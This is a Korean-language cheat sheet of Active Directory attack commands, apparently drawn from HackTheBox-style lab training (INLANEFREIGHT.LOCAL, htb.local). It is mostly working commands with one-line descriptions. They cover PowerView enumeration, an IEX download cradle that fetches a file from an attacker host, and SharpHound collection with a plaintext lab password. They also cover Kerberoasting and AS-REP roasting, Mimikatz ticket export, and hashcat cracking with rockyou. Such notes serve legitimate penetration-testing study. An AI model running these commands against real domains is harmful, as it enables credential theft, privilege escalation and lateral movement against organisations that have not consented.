λŒ€μƒ Windows λ„λ©”μΈμ˜ μ‹ λ’° 관계λ₯Ό μ—΄κ±°ν•˜κ³  μž„μ˜( -Filter *)둜 ν•„ν„°λ§ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-ADGroup -Filter * | select name

λŒ€μƒ Windows λ„λ©”μΈμ˜ 그룹을 μ—΄κ±°ν•˜κ³  κ·Έλ£Ή 이름( select name)으둜 ν•„ν„°λ§ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-ADGroup -Identity "Backup Operators"

νŠΉμ • κ·Έλ£Ή( -Identity "Backup Operators")을 κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-ADGroupMember -Identity "Backup Operators"

νŠΉμ • κ·Έλ£Ή( )의 ꡬ성원을 κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€ -Identity "Backup Operators". Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Export-PowerViewCSV

κ²°κ³Όλ₯Ό νŒŒμΌμ— μΆ”κ°€ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€ CSV. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

ConvertTo-SID

Userλ˜λŠ” Group이름을 으둜 λ³€ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€ SID. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainSPNTicket

μ§€μ •λœ μ„œλΉ„μŠ€ 주체 이름( )에 λŒ€ν•œ Kerberos 티켓을 μš”μ²­ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€ SPN. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-Domain

ν˜„μž¬(λ˜λŠ” μ§€μ •λœ) 도메인에 λŒ€ν•œ AD 개체λ₯Ό λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainController

μ§€μ •λœ λŒ€μƒ 도메인에 λŒ€ν•œ λŒ€μƒ 도메인 컨트둀러 λͺ©λ‘μ„ λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainUser

AD의 λͺ¨λ“  μ‚¬μš©μž λ˜λŠ” νŠΉμ • μ‚¬μš©μž 개체λ₯Ό λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainComputer

AD의 λͺ¨λ“  컴퓨터 λ˜λŠ” νŠΉμ • 컴퓨터 개체λ₯Ό λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainGroup

AD의 λͺ¨λ“  κ·Έλ£Ή λ˜λŠ” νŠΉμ • κ·Έλ£Ή 개체λ₯Ό λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainOU

ADμ—μ„œ 전체 λ˜λŠ” νŠΉμ • OU 개체λ₯Ό κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Find-InterestingDomainAcl

ACLsκΈ°λ³Έ 제곡 κ°œμ²΄κ°€ μ•„λ‹Œ μˆ˜μ • κΆŒν•œμ΄ μ„€μ •λœ λ„λ©”μΈμ—μ„œ 개체λ₯Ό μ°ΎλŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainGroupMember

νŠΉμ • 도메인 그룹의 ꡬ성원을 λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainFileServer

파일 μ„œλ²„λ‘œ μž‘λ™ν•  κ°€λŠ₯성이 μžˆλŠ” μ„œλ²„ λͺ©λ‘μ„ λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainDFSShare

ν˜„μž¬(λ˜λŠ” μ§€μ •λœ) 도메인에 λŒ€ν•œ λͺ¨λ“  λΆ„μ‚° 파일 μ‹œμŠ€ν…œ λͺ©λ‘μ„ λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainGPO

AD의 λͺ¨λ“  GPO λ˜λŠ” νŠΉμ • GPO 개체λ₯Ό λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainPolicy

ν˜„μž¬ 도메인에 λŒ€ν•œ κΈ°λ³Έ 도메인 μ •μ±… λ˜λŠ” 도메인 컨트둀러 정책을 λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-NetLocalGroup

둜컬 λ˜λŠ” 원격 μ‹œμŠ€ν…œμ—μ„œ 둜컬 그룹을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-NetLocalGroupMember

PowerView μŠ€ν¬λ¦½νŠΈλŠ” νŠΉμ • 둜컬 그룹의 ꡬ성원을 μ—΄κ±°ν•©λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-NetShare

둜컬(λ˜λŠ” 원격) μ‹œμŠ€ν…œμ—μ„œ μ—΄λ¦° 곡유 λͺ©λ‘μ„ λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-NetSession

둜컬(λ˜λŠ” 원격) μ‹œμŠ€ν…œμ— λŒ€ν•œ μ„Έμ…˜ 정보λ₯Ό λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Test-AdminAccess

ν˜„μž¬ μ‚¬μš©μžμ—κ²Œ 둜컬(λ˜λŠ” 원격) μ‹œμŠ€ν…œμ— λŒ€ν•œ 관리 μ•‘μ„ΈμŠ€ κΆŒν•œμ΄ μžˆλŠ”μ§€ ν…ŒμŠ€νŠΈν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView 슀크립트. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Find-DomainUserLocation

νŠΉμ • μ‚¬μš©μžκ°€ λ‘œκ·ΈμΈν•œ 컴퓨터λ₯Ό μ°ΎλŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Find-DomainShare

도메인 μ»΄ν“¨ν„°μ—μ„œ μ—°κ²° κ°€λŠ₯ν•œ 곡유λ₯Ό μ°ΎλŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Find-InterestingDomainShareFile

λ„λ©”μΈμ˜ 읽기 κ°€λŠ₯ν•œ κ³΅μœ μ—μ„œ νŠΉμ • κΈ°μ€€κ³Ό μΌμΉ˜ν•˜λŠ” νŒŒμΌμ„ κ²€μƒ‰ν•˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Find-LocalAdminAccess

ν˜„μž¬ μ‚¬μš©μžκ°€ 둜컬 κ΄€λ¦¬μž μ•‘μ„ΈμŠ€ κΆŒν•œμ„ κ°–κ³  μžˆλŠ” 둜컬 λ„λ©”μΈμ—μ„œ 컴퓨터λ₯Ό μ°ΎλŠ” 데 μ‚¬μš©λ˜λŠ” PowerView 슀크립트 Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainTrust

ν˜„μž¬ 도메인 λ˜λŠ” μ§€μ •λœ 도메인에 λŒ€ν•œ 도메인 트러슀트λ₯Ό λ°˜ν™˜ν•˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-ForestTrust

ν˜„μž¬ 포리슀트 λ˜λŠ” μ§€μ •λœ ν¬λ¦¬μŠ€νŠΈμ— λŒ€ν•œ λͺ¨λ“  포리슀트 트러슀트λ₯Ό λ°˜ν™˜ν•˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainForeignUser

μ‚¬μš©μž 도메인 μ™ΈλΆ€ 그룹에 μžˆλŠ” μ‚¬μš©μžλ₯Ό μ—΄κ±°ν•˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainForeignGroupMember

κ·Έλ£Ή 도메인 μ™ΈλΆ€μ˜ μ‚¬μš©μžκ°€ ν¬ν•¨λœ 그룹을 μ—΄κ±°ν•˜κ³  각 μ™ΈλΆ€ ꡬ성원을 λ°˜ν™˜ν•˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainTrustMapping

ν˜„μž¬ 도메인과 기타 ν‘œμ‹œλœ λͺ¨λ“  트러슀트λ₯Ό μ—΄κ±°ν•˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainGroupMember -Identity "Domain Admins" -Recurse

"Domain Admins"반볡 μ˜΅μ…˜( )을 μ‚¬μš©ν•˜μ—¬ λŒ€μƒ κ·Έλ£Ή( )의 λͺ¨λ“  ꡬ성원을 λ‚˜μ—΄ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€ -Recurse. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

μ„ΈνŠΈ κ°€ μžˆλŠ” λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ μ‚¬μš©μžλ₯Ό μ°ΎλŠ” 데 μ‚¬μš©λ˜λŠ” PowerView μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€ Service Principal Name. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data

Snafflerμ†μƒλœ 계정이 μ•‘μ„ΈμŠ€ν•  수 μžˆλŠ” κ³΅μœ μ—μ„œ λ‹€μ–‘ν•œ μ’…λ₯˜μ˜ 데이터λ₯Ό μ°ΎλŠ” λŒ€μƒ Windows 도메인에 λŒ€ν•΄ ν˜ΈμΆœλ˜λŠ” 도ꡬλ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

파일 전솑 쀑

λͺ…λ Ή

μ„€λͺ…

sudo python3 -m http.server 8001

λΉ λ₯Έ 파일 ν˜ΈμŠ€νŒ…μ„ μœ„ν•΄ Python μ›Ή μ„œλ²„λ₯Ό μ‹œμž‘ν•©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

"IEX(New-Object Net.WebClient).downloadString('http://172.16.5.222/SharpHound.exe')"

μ›Ή μ„œλ²„μ—μ„œ νŒŒμΌμ„ λ‹€μš΄λ‘œλ“œν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell ν•œ μ€„μž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Evil-WinRM PS C:\Users\svc-alfresco\Desktop> .\SharpHound.exe -c All --zipFilename ILFREIGHT

SharpHound μ‹€ν–‰

. .\SharpHound.ps1 #sharphoundλ₯Ό ν˜„μž¬ μ„Έμ…˜μ…˜μ— λΆˆλŸ¬λ“œλ¦Ό

invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice

SharpHound.ps1 μ‹€ν–‰

invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice

impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/

SMB파일의 λΉ λ₯Έ ν˜ΈμŠ€νŒ…μ„ μœ„ν•΄ impacket μ„œλ²„λ₯Ό μ‹œμž‘ν•©λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

μ»€λ² λ‘œμŠ€νŒ…

λͺ…λ Ή

μ„€λͺ…

sudo python3 -m pip install .

곡격 ν˜ΈμŠ€νŠΈμ— λ³΅μ œλ˜λŠ” 디렉터리 λ‚΄λΆ€μ—μ„œ Impacket을 μ„€μΉ˜ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

GetUserSPNs.py -h

GetUserSPNs.pyLinux 기반 호슀트 의 μ˜΅μ…˜κ³Ό κΈ°λŠ₯을 ν‘œμ‹œν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ .

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday

SPNsLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows 도메인 의 λͺ©λ‘μ„ κ°€μ Έμ˜€λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ .

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request

-requestLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ˜€ν”„λΌμΈ 처리λ₯Ό μœ„ν•΄ λͺ¨λ“  TGS 티켓을 λ‹€μš΄λ‘œλ“œ/μš”μ²­( )ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ .

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ -request-userνŠΉμ • μ‚¬μš©μž 계정( )에 λŒ€ν•œ TGS 티켓을 λ‹€μš΄λ‘œλ“œ/μš”μ²­( )ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ .sqldev

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs

νŠΉμ • μ‚¬μš©μž 계정에 λŒ€ν•œ TGS 티켓을 λ‹€μš΄λ‘œλ“œ/μš”μ²­ν•˜κ³  파일( -outputfile sqldev_tgs) Linux 기반 ν˜ΈμŠ€νŠΈμ— 티켓을 μ“°λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€.

for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done

userλͺ©λ‘μ— μžˆλŠ” 도메인 μœ μ €λ‘œ AS-REPλ‘œμŠ€νŒ…ν•˜λŠ” 방법(Linux)

hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 단어 λͺ©λ‘( )을 μ‚¬μš©ν•˜μ—¬ Kerberos( -m 13100) ν‹°μΌ“ ν•΄μ‹œ( ) ν¬λž™μ„ μ‹œλ„ν•©λ‹ˆλ‹€.sqldev_tgshashcatrockyou.txt

setspn.exe -Q */*

SPNsWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows 도메인을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

  • Add-Type -AssemblyName System.IdentityModel

  • New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ νŠΉμ • μ‚¬μš©μžμ˜ TGS 티켓을 λ‹€μš΄λ‘œλ“œ/μš”μ²­ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€.

setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

WIndows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λͺ¨λ“  TGS 티켓을 λ‹€μš΄λ‘œλ“œ/μš”μ²­ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

mimikatz # base64 /out:true

Mimikatzbase64TGS 티켓이 Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ ν˜•μ‹ 으둜 μΆ”μΆœλ˜λ„λ‘ ν•˜λŠ” λͺ…λ Ήμž…λ‹ˆλ‹€ .

kerberos::list /export

MimikatzWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ TGS 티켓을 μΆ”μΆœν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” λͺ…λ Ήμž…λ‹ˆλ‹€.

echo "<base64 blob>" | tr -d \

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ ν¬λž˜ν‚Ήν•˜κΈ° μœ„ν•΄ base64 ν˜•μ‹μ˜ TGS 티켓을 μ€€λΉ„ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

cat encoded_file | base64 -d > sqldev.kirbi

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 파일( encoded_file)을 base64( ) ν˜•μ‹μ˜ .kirbi 파일둜 좜λ ₯ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.base64 -d > sqldev.kirbi

python2.7 kirbi2john.py sqldev.kirbi

λ₯Ό μΆ”μΆœν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ Kerberos ticket. λ˜ν•œ crack_fileLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ ν˜ΈμΆœλ˜λŠ” νŒŒμΌλ„ μƒμ„±λ©λ‹ˆλ‹€ .

sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ crack_fileλ₯Ό μˆ˜μ •ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .Hashcat

cat sqldev_tgs_hashcat

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ€€λΉ„λœ ν•΄μ‹œλ₯Ό λ³΄λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ sqldev_tgs_hashcat단어 λͺ©λ‘( )을 μ‚¬μš©ν•˜μ—¬ μ€€λΉ„λœ Kerberos ν‹°μΌ“ ν•΄μ‹œ( )λ₯Ό ν¬λž™ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .rockyou.txt

Import-Module .\PowerView.ps1 Get-DomainUser * -spn | select samaccountname

PowerView 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ TGS Tickets. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

νŠΉμ • ν‹°μΌ“μ˜ TGS 티켓을 λ‹€μš΄λ‘œλ“œ/μš”μ²­ν•˜κ³  HashcatWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μžλ™μœΌλ‘œ ν¬λ§·ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€.

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λͺ¨λ“  TGS 티켓을 .CSV파일( )둜 λ‚΄λ³΄λƒ…λ‹ˆλ‹€.ilfreight_tgs.csv

cat .\ilfreight_tgs.csv

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ .csv 파일의 λ‚΄μš©μ„ λ³΄λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

.\Rubeus.exe

λ„κ΅¬λ‘œ κ°€λŠ₯ν•œ μ˜΅μ…˜κ³Ό κΈ°λŠ₯을 λ³΄λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ Rubeus. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

.\Rubeus.exe kerberoast /stats

/statsWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows 도메인 λ‚΄μ˜ kerberoast 톡계( )λ₯Ό ν™•μΈν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

adminκ°œμˆ˜κ°€ μ„€μ •λœ 계정에 λŒ€ν•œ TGS 티켓을 μš”μ²­/λ‹€μš΄λ‘œλ“œν•œ 1λ‹€μŒ μ‰½κ²Œ 보고 ν¬λž™ν•  수 μžˆλŠ” λ°©μ‹μœΌλ‘œ 좜λ ₯ ν˜•μ‹μ„ μ§€μ •ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€( /nowrap). Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

.\Rubeus.exe kerberoast /user:testspn /nowrap

νŠΉμ • μ‚¬μš©μž( /user:testspn)에 λŒ€ν•œ TGS 티켓을 μš”μ²­/λ‹€μš΄λ‘œλ“œν•˜λŠ” 데 μ‚¬μš©λ˜λ©° 보기 쉽고 ν¬λž™ λ°©μ‹μœΌλ‘œ 좜λ ₯ ν˜•μ‹μ„ μ§€μ •ν•©λ‹ˆλ‹€( /nowrap). Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes

msDS-SupportedEncryptionTypeνŠΉμ • μ‚¬μš©μž 계정( )κ³Ό κ΄€λ ¨λœ 속성을 ν™•μΈν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ testspn. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt

rockyou.txtLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 단어 λͺ©λ‘( )을 μ‚¬μš©ν•˜μ—¬ ν‹°μΌ“ ν•΄μ‹œλ₯Ό ν•΄λ…ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

ACL μ—΄κ±° 및 μ „μˆ 

λͺ…λ Ή

μ„€λͺ…

Find-InterestingDomainAcl

Windows 기반 호슀트의 κΈ°λ³Έ 제곡 κ°œμ²΄μ— λŒ€ν•œ μˆ˜μ • κΆŒν•œμ΄ μ„€μ •λœ λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ 개체 ACL을 μ°ΎλŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€.

Import-Module .\PowerView.ps1 $sid = Convert-NameToSid wley

PowerViewλ₯Ό κ°€μ Έμ˜€κ³  Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ SIDνŠΉμ • μ‚¬μš©μž 계정( )을 κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.wley

Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}

μ‚¬μš©μžλ₯Ό Windows 기반 호슀트의 속성에 λ§€ν•‘ν•˜μ—¬ μ‚¬μš©μžμ—κ²Œ κΆŒν•œμ΄ μžˆλŠ” λͺ¨λ“  Windows 도메인 개체λ₯Ό μ°ΎλŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ SID.SecurityIdentifier

$guid= "00299570-246d-11d0-a768-00aa006e0529" Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl

μ—­λ°©ν–₯ 검색을 μˆ˜ν–‰ν•˜κ³  GUIDWindows 기반 호슀트의 값에 λ§€ν•‘ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

